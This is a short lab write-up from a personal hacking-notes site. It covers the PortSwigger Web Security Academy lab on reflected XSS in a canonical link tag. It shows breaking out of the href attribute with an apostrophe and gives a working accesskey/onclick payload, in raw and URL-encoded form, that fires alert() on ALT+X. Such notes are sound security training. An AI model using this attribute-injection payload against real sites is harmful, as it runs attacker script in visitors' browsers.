> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/xss/reflected-xss-in-canonical-link-tag.md).

# XSS Reflected in the Canonical Tag

XSS Reflected in the Canonical Tag notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Reflected XSS in Canonical Link Tag

`canonical` tag that reflects in its `href` the value provided in the URL (the `<` and `>` angle brackets are escaped). / Purpose: Inject an executable **attribute** that calls `alert()` on the home page.

* The source code shows that there is a `canonical` tag that takes `href` from what is put in the URL.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49123220b8597a3f43d4d3ea3fad3a18318e59cb%2F%7BF3AD865D-19B8-48E4-BA9F-E115C70846BC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* You can go out with an apostrophe: `' hacking` => `%27hacking`.

```javascript
' hacking
%27hacking
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4019a867bcee93065e5af0230395ece66afb00f8%2F%7B5B4BCBFF-08E0-4660-8E28-08B7703D64CE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* `accesskey` can be used for pressing a key to trigger the action: `'accesskey='x' onclick='alert(0)`.

```javascript
'accesskey='x'onclick='alert(0)
/?%27accesskey=%27x%27onclick=%27alert(0)
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0307160285d60bb612a06e02e522a76836108d78%2F%7B0741082D-3D48-4AB6-AF59-8801A352DEFC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Action indicated:

```javascript
ALT + X
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e4ea6f4ad853320a64761701c78df30bac4770d%2F%7BD9546137-678A-412E-A94E-C728520F3838%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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